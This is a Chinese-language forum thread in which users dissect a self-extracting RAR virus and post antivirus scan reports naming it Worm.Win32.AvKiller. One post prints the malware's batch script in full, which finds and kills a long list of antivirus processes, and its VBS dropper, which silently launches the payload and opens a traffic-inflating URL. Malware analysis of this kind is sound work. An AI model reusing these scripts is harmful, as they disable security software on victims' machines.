1

ly5360

这个病毒很有意思哈。。RAR自释放的。
RAR包里有BAT.VBS.还有两个EXE
BAT里的内容。。就是关闭杀毒软件，并更改文件关联吧。
@echo off

knlps.exe -l >PID.txt
set pva=avp.exe
findstr /i %pva% PID.txt >>rav.txt
findstr /i %pva% PID.txt >>rav.txt
findstr /i "RavMon.exe" PID.txt >>rav.txt
findstr /i "RavMonD.exe" PID.txt >>rav.txt
findstr /i "CCenter.exe" PID.txt >>rav.txt
findstr /i "KVMonXP.kxp" PID.txt >>rav.txt
findstr /i "KVxp.kxp" PID.txt >>rav.txt
findstr /i "kvsrvxp.exe" PID.txt >>rav.txt
findstr /i "kvwsc.exe" PID.txt >>rav.txt
findstr /i "KAVStart.exe" PID.txt >>rav.txt
findstr /i "KWatch.exe" PID.txt >>rav.txt
findstr /i "KPFW32.exe" PID.txt >>rav.txt
findstr /i "KPFWSvc.exe" PID.txt >>rav.txt
findstr /i "rfwsrv.exe" PID.txt >>rav.txt
findstr /i "rfwproxy.exe" PID.txt >>rav.txt
findstr /i "rfwmain.exe" PID.txt >>rav.txt
findstr /i "Navapw32.exe" PID.txt >>rav.txt
findstr /i "Navapsvc.exe" PID.txt >>rav.txt
findstr /i "rising.exe" PID.txt >>rav.txt
findstr /i "Symantec.exe" PID.txt >>rav.txt
findstr /i "rtvscan.exe" PID.txt >>rav.txt
findstr /i "ccApp.exe" PID.txt >>rav.txt
findstr /i "VTPRay.exe" PID.txt >>rav.txt
findstr /i "360tray.exe" PID.txt >>rav.txt
for /f "eol=; tokens=1 delims= " %%1 in (rav.txt) do knlps.exe -k %%1

VBS内容就是运行BAT，并且连接http://www.kis.ac.cn/realtj.html刷流量
set ws=wscript.createobject("wscript.shell")
ws.run "%systemroot%\temp\2.bat",0
wscript.sleep 10000
ws.run "%systemroot%\temp\2.exe",0
Ws.run "IEXPLORE.EXE http://www.kis.ac.cn/realtj.html",0

2.exe是病毒主体。。以我的观测能力，就看到他似乎是刷什么流量。在百度，GOOGLE搜索什么字符。。

knlps.exe好像是作者写的个工具。用来关闭杀毒软件进程的。。

kkgh

瑞星病毒查杀结果报告

清除病毒种类列表：
病毒： Worm.Win32.AvKiller.cz   

用户来源：互联网

软件版本：20.30.40

挪威的冬天

信息        2008-02-10  10:53:09        您此次查毒共查出2个病毒以及危险代码                       
信息        2008-02-10  10:53:09        您此次查毒共查了内存模块0个，磁盘引导扇区0个，文件14个                       
信息        2008-02-10  10:53:09        金山毒霸主程序查毒过程结束，查毒方式：命令行查毒                       
风险程序        2008-02-10  10:53:09        C:\Users\挪威的冬天\Desktop\knlps.rar\knlps.exe        Win32.Adware.PsKill.v.86016        跳过，未处理       
病毒        2008-02-10  10:53:08        C:\Users\挪威的冬天\Desktop\2.rar\2.exe        Win32.Troj.KillAV.gx.151552        跳过，未处理

qigang

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Worm.Win32.AvKiller.cz   

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.30.60